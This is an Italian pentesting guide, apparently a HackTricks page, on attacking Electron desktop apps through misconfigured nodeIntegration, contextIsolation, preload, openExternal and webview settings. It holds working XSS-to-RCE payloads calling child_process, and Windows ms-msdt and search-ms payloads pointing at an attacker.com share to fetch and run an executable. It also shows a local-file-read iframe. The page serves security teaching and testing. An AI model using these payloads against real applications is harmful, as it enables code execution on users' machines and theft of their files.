442 lines
23 KiB
Markdown

# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Introduzione
Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), anche se manca di alcuni meccanismi di sicurezza dei browser moderni.
Di solito puoi trovare il codice dell'app electron all'interno di un'applicazione `.asar`, per ottenere il codice è necessario estrarlo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Nel codice sorgente di un'app Electron, all'interno di `packet.json`, puoi trovare specificato il file `main.js` dove sono impostate le configurazioni di sicurezza.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron ha 2 tipi di processi:
- Processo Principale (ha accesso completo a NodeJS)
- Processo Renderer (dovrebbe avere accesso limitato a NodeJS per motivi di sicurezza)
![](<../../../images/image (182).png>)
Un **processo renderer** sarà una finestra del browser che carica un file:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune delle configurazioni **preveniranno all'applicazione Electron di ottenere RCE** o altre vulnerabilità se le **impostazioni sono configurate correttamente**.
L'applicazione electron **può accedere al dispositivo** tramite le API di Node, anche se può essere configurata per prevenirlo:
- **`nodeIntegration`** - è `off` per impostazione predefinita. Se attivato, consente di accedere alle funzionalità di Node dal renderer process.
- **`contextIsolation`** - è `on` per impostazione predefinita. Se disattivato, i processi main e renderer non sono isolati.
- **`preload`** - vuoto per impostazione predefinita.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è disattivato per impostazione predefinita. Restriggerà le azioni che NodeJS può eseguire.
- Integrazione di Node nei Workers
- **`nodeIntegrationInSubframes`** - è `off` per impostazione predefinita.
- Se **`nodeIntegration`** è **abilitato**, questo consentirebbe l'uso delle **API di Node.js** nelle pagine web che sono **caricate in iframe** all'interno di un'applicazione Electron.
- Se **`nodeIntegration`** è **disabilitato**, allora i preload verranno caricati nell'iframe.
Esempio di configurazione:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Alcuni **RCE payloads** da [qui](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Cattura traffico
Modifica la configurazione start-main e aggiungi l'uso di un proxy come:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Esecuzione di Codice Locale in Electron
Se puoi eseguire localmente un'app Electron, è possibile che tu possa farla eseguire codice javascript arbitrario. Controlla come in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Se **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può utilizzare facilmente le funzionalità di Node.js semplicemente chiamando `require()`. Ad esempio, il modo per eseguire l'applicazione calcolatrice su Windows è:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
Lo script indicato in questa impostazione è l**oaded prima di altri script nel renderer**, quindi ha **accesso illimitato alle API di Node**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Pertanto, lo script può esportare node-features su pagine:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **Se `contextIsolation` è attivato, questo non funzionerà**
## RCE: XSS + contextIsolation
Il _**contextIsolation**_ introduce i **contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron** in modo che l'esecuzione di ciascun codice non influisca sugli altri. Questa è una caratteristica necessaria per eliminare la possibilità di RCE.
Se i contesti non sono isolati, un attaccante può:
1. Eseguire **JavaScript arbitrario nel renderer** (XSS o navigazione verso siti esterni)
2. **Sovrascrivere il metodo incorporato** che viene utilizzato nel preload o nel codice interno di Electron con una propria funzione
3. **Attivare** l'uso della **funzione sovrascritta**
4. RCE?
Ci sono 2 luoghi in cui i metodi incorporati possono essere sovrascritti: nel codice di preload o nel codice interno di Electron:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass dell'evento di clic
Se ci sono restrizioni applicate quando clicchi su un link, potresti essere in grado di bypassarle **facendo un clic centrale** invece di un normale clic sinistro.
```javascript
window.addEventListener('click', (e) => {
```
## RCE tramite shell.openExternal
Per ulteriori informazioni su questi esempi, controlla [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Quando si distribuisce un'applicazione desktop Electron, è fondamentale garantire le impostazioni corrette per `nodeIntegration` e `contextIsolation`. È stato stabilito che **l'esecuzione remota di codice lato client (RCE)** mirata a script di preload o al codice nativo di Electron dal processo principale è efficacemente prevenuta con queste impostazioni in atto.
Quando un utente interagisce con i link o apre nuove finestre, vengono attivati specifici listener di eventi, che sono cruciali per la sicurezza e la funzionalità dell'applicazione:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica aziendale**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene solitamente presa tramite una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.
**Ecco un pseudocodice semplificato:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Le migliori pratiche di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione `openExternal`, poiché potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero attivare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [questa risorsa](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità.
In macos, la funzione `openExternal` può essere sfruttata per eseguire comandi arbitrari come in `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Esempi di exploit di protocolli Windows includono:**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Questa vulnerabilità può essere trovata in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Il **webviewTag** è una **funzionalità deprecata** che consente l'uso di **NodeJS** nel **processo di rendering**, che dovrebbe essere disabilitato in quanto consente di caricare uno script all'interno del contesto di preload come:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Pertanto, un attaccante che riesce a caricare una pagina arbitraria potrebbe utilizzare quel tag per **caricare un script di pre-caricamento arbitrario**.
Questo script di pre-caricamento è stato abusato per chiamare un **servizio IPC vulnerabile (`skype-new-window`)** che stava chiamando **`shell.openExternal`** per ottenere RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Lettura di File Interni: XSS + contextIsolation
**Disabilitare `contextIsolation` consente l'uso di `<webview>` tags**, simile a `<iframe>`, per leggere ed esfiltrare file locali. Un esempio fornito dimostra come sfruttare questa vulnerabilità per leggere il contenuto di file interni:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Inoltre, viene condiviso un altro metodo per **leggere un file interno**, evidenziando una vulnerabilità critica di lettura di file locali in un'app desktop Electron. Questo comporta l'iniezione di uno script per sfruttare l'applicazione ed esfiltrare dati:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
Se il **chromium** utilizzato dall'applicazione è **vecchio** e ci sono **vulnerabilità** **note** su di esso, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite un XSS**.\
Puoi vedere un esempio in questo **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing tramite bypass regex URL interni**
Supponendo che tu abbia trovato un XSS ma **non puoi attivare RCE o rubare file interni**, potresti provare a usarlo per **rubare credenziali tramite phishing**.
Prima di tutto, devi sapere cosa succede quando provi ad aprire un nuovo URL, controllando il codice JS nel front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
La chiamata a **`openInternally`** deciderà se il **link** sarà **aperto** nella **finestra desktop** poiché è un link appartenente alla piattaforma, **o** se sarà aperto nel **browser come risorsa di terze parti**.
Nel caso in cui il **regex** utilizzato dalla funzione sia **vulnerabile a bypass** (ad esempio, **non eseguendo l'escape dei punti dei sottodomini**), un attaccante potrebbe abusare dell'XSS per **aprire una nuova finestra che** sarà situata nell'infrastruttura dell'attaccante **richiedendo credenziali** all'utente:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protocol
Come menzionato nella [documentazione](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), le pagine che girano su **`file://`** hanno accesso unilaterale a ogni file sul tuo computer, il che significa che **i problemi di XSS possono essere utilizzati per caricare file arbitrari** dalla macchina dell'utente. Utilizzare un **protocollo personalizzato** previene problemi come questo, poiché puoi limitare il protocollo a servire solo un insieme specifico di file.
## Modulo remoto
Il modulo Remote di Electron consente ai **processi di rendering di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'applicazione Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Espande la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi di cross-site scripting (XSS).
> [!TIP]
> Anche se il modulo **remote** espone alcune API dal principale ai processi di rendering, non è semplice ottenere RCE solo abusando dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
> [!WARNING]
> Molte app che utilizzano ancora il modulo remoto lo fanno in un modo che **richiede l'abilitazione di NodeIntegration** nel processo di rendering, il che rappresenta un **enorme rischio per la sicurezza**.
Dalla versione 14 di Electron, il modulo `remote` di Electron potrebbe essere abilitato in diversi passaggi, poiché per motivi di sicurezza e prestazioni è **consigliato non usarlo**.
Per abilitarlo, è prima necessario **abilitarlo nel processo principale**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
Quindi, il processo di rendering può importare oggetti dal modulo come:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
Il **[post del blog](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune interessanti **funzioni** esposte dall'oggetto **`app`** del modulo remoto:
- **`app.relaunch([options])`**
- **Riavvia** l'applicazione **uscendo** dall'istanza corrente e **lanciando** una nuova. Utile per **aggiornamenti dell'app** o significativi **cambiamenti di stato**.
- **`app.setAppLogsPath([path])`**
- **Definisce** o **crea** una directory per memorizzare i **log dell'app**. I log possono essere **recuperati** o **modificati** utilizzando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** l'eseguibile corrente come **gestore predefinito** per un **protocollo** specificato. Puoi fornire un **percorso personalizzato** e **argomenti** se necessario.
- **`app.setUserTasks(tasks)`**
- **Aggiunge** attività alla **categoria Attività** nella **Jump List** (su Windows). Ogni attività può controllare come l'app viene **lanciata** o quali **argomenti** vengono passati.
- **`app.importCertificate(options, callback)`**
- **Importa** un **certificato PKCS#12** nel **negozio di certificati** del sistema (solo Linux). Un **callback** può essere utilizzato per gestire il risultato.
- **`app.moveToApplicationsFolder([options])`**
- **Sposta** l'applicazione nella **cartella Applicazioni** (su macOS). Aiuta a garantire un'**installazione standard** per gli utenti Mac.
- **`app.setJumpList(categories)`**
- **Imposta** o **rimuove** una **Jump List personalizzata** su **Windows**. Puoi specificare **categorie** per organizzare come le attività appaiono all'utente.
- **`app.setLoginItemSettings(settings)`**
- **Configura** quali **eseguibili** si avviano al **login** insieme alle loro **opzioni** (solo macOS e Windows).
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
L'**API principale** per accedere alle preferenze di sistema e **emettendo eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** sono tutti **parte di** questo modulo.
**Esempio di utilizzo:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Ascolta** le **notifiche native macOS** utilizzando NSDistributedNotificationCenter.
* Prima di **macOS Catalina**, era possibile sniffare **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver.
* Dopo **Catalina / Big Sur**, le app sandboxed possono ancora **iscriversi** a **molti eventi** (ad esempio, **blocco/sblocco dello schermo**, **montaggi di volume**, **attività di rete**, ecc.) registrando le notifiche **per nome**.
### **getUserDefault / setUserDefault**
* **Interagisce** con **NSUserDefaults**, che memorizza le **preferenze** dell'**applicazione** o **globali** su macOS.
* **getUserDefault** può **recuperare** informazioni sensibili, come **posizioni di file recenti** o **posizione geografica dell'utente**.
* **setUserDefault** può **modificare** queste preferenze, potenzialmente influenzando la **configurazione** di un'app.
* Nelle **versioni più vecchie di Electron** (prima della v8.3.0), solo la **suite standard** di NSUserDefaults era **accessibile**.
## Shell.showItemInFolder
Questa funzione mostra il file dato in un gestore di file, che **potrebbe eseguire automaticamente il file**.
Per ulteriori informazioni controlla [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Le app Electron dovrebbero avere una **Content Security Policy (CSP)** per **prevenire attacchi XSS**. La **CSP** è uno **standard di sicurezza** che aiuta a **prevenire** l'**esecuzione** di **codice non attendibile** nel browser.
Di solito è **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**.
Per ulteriori informazioni controlla:
{{#ref}}
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) è uno strumento per identificare misconfigurazioni e anti-pattern di sicurezza nelle applicazioni basate su Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) è un plugin open source per VS Code per applicazioni Electron che utilizza Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per controllare librerie di terze parti vulnerabili.
- [**Electro.ng**](https://electro.ng/): Devi acquistarlo.
## Labs
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puoi trovare un laboratorio per sfruttare app Electron vulnerabili.
Al alcuni comandi che ti aiuteranno con il laboratorio:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **Riferimenti**
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Maggiori ricerche e articoli sulla sicurezza di Electron in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}